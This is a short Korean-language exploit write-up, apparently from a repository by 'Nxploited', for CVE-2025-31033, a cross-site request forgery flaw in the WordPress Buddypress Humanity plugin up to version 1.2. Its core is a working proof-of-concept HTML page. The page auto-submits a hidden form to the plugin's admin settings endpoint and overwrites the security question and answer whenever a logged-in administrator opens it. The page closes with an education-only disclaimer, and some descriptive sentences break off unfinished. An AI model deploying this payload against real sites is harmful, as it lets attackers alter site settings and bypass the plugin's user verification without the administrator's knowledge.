nxploited/cve-2025-31033WordPress Buddypress Humanity Plugin <= 1.2는 사이트 간 요청 위조(CSRF)에 취약합니다.
WordPress용 Buddypress Humanity 플러그인(버전 <= 1.2)은 Cross-Site Request Forgery (CSRF) 에 취약합니다.
이 취약점으로 인해 공격자는 권한이 높은 사용자(예: 관리자)가 보안 질문 및 답변과 같은 플러그인 설정을 알지 못한 채 수정하도록 강제하여 사용자 인증 로직을 우회할 수 있습니다.
bph-settings 페이지 (관리자 전용)CVE-2025-31033성공적으로 악용될 경우, 이 취약점을 통해 공격자는 다음을 수행할 수 있습니다:
buddypress-humanity<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exploit – CVE-2025-31033</title>
</head>
<body onload="document.forms[0].submit();">
<form action="http://target.com/wp-admin/admin.php?page=bph-settings" method="POST">
<input type="hidden" name="bph_option[bph_title]" value="Nxploited">
<input type="hidden" name="bph_option[bph_question]" value="I’m Nxploited | Khaled Alenazi">
<input type="hidden" name="bph_option[bph_answers]" value="Nxploit">
<input type="hidden" name="bph_submit" value="1">
</form>
</body>
</html>
☠️ 인증된 관리자가 이 페이지를 열면, 플러그인 설정이 자동으로 수정됩니다.
이 개념 증명은 교육 목적으로만 제공됩니다.
책임감 있게 사용하고, 소유하지 않은 시스템에서 테스트하지 마십시오.
작성자는 모든 오용이나 손해에 대해 책임을 지지 않습니다.
Nxploited | Khaled Alenazi